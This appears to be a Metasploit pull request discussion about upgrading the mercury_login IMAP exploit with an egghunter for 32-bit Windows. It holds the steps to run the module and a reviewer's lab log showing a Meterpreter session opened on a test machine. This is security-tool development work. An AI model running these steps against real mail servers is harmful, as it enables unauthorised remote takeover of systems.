Upgraded exploit to work on any Windows target

[kr3bz]

In short, added egghunter and return address of
the executable file itself, so it should work
on any windows system.

Also, upgraded to modern exploit module requirements.

Tell us what this change does. If you're fixing a bug, please mention
the github issue number.

Verification

List the steps needed to make sure this thing works

• Start msfconsole
• use exploit/windows/imap/mercury_login
• set RHOST x.x.x.x
• exploit

[bcoles]

Looks like msftidy is complaining as there's an extra space at the end of the 'Author' => line.

$ ./.git/hooks/post-merge
[*] Running msftidy.rb in ./.git/hooks/post-merge mode
--- Checking new and changed module syntax with tools/dev/msftidy.rb ---
modules/exploits/windows/imap/mercury_login.rb:22 - [WARNING] Spaces at EOL
------------------------------------------------------------------------
------------------------------------------------------------------------
[*] This merge contains modules failing msftidy.rb
[*] Please fix this if you intend to publish these
[*] modules to a popular metasploit-framework repo
------------------------------------------------------------------------

[bcoles]

I tried this out on 64-bit Windows, and it failed, although not surprising.

Tested successfully on:

• 4.01a on Windows XP SP3 (x86)
• 4.01a on Windows 7 SP1 (x86)
• 4.01b on Windows 7 SP1 (x86)

msf5 exploit(windows/imap/mercury_login) > check
[+] 172.16.191.252:143 The target is vulnerable.
msf5 exploit(windows/imap/mercury_login) > run

[*] 172.16.191.252:143 - Sending payload (8931 bytes) ...
[*] Started bind TCP handler against 172.16.191.252:4444
[-] The connection timed out (172.16.191.252:4444).
[*] Sending stage (179779 bytes) to 172.16.191.252
[*] Meterpreter session 1 opened (172.16.191.138:53859 -> 172.16.191.252:4444) at 2018-10-28 03:20:10 -0400

meterpreter > getuid
Server username: WIN-PJARRFI1A3A\user
meterpreter > sysinfo
Computer        : WIN-PJARRFI1A3A
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > 

[bcoles]

Thanks. This looks good to me. I'll land this in the next couple days.

[bcoles]

Release Notes

This adds an egghunter to exploit/windows/imap/mercury_login for automatic targeting of 32-bit Windows systems.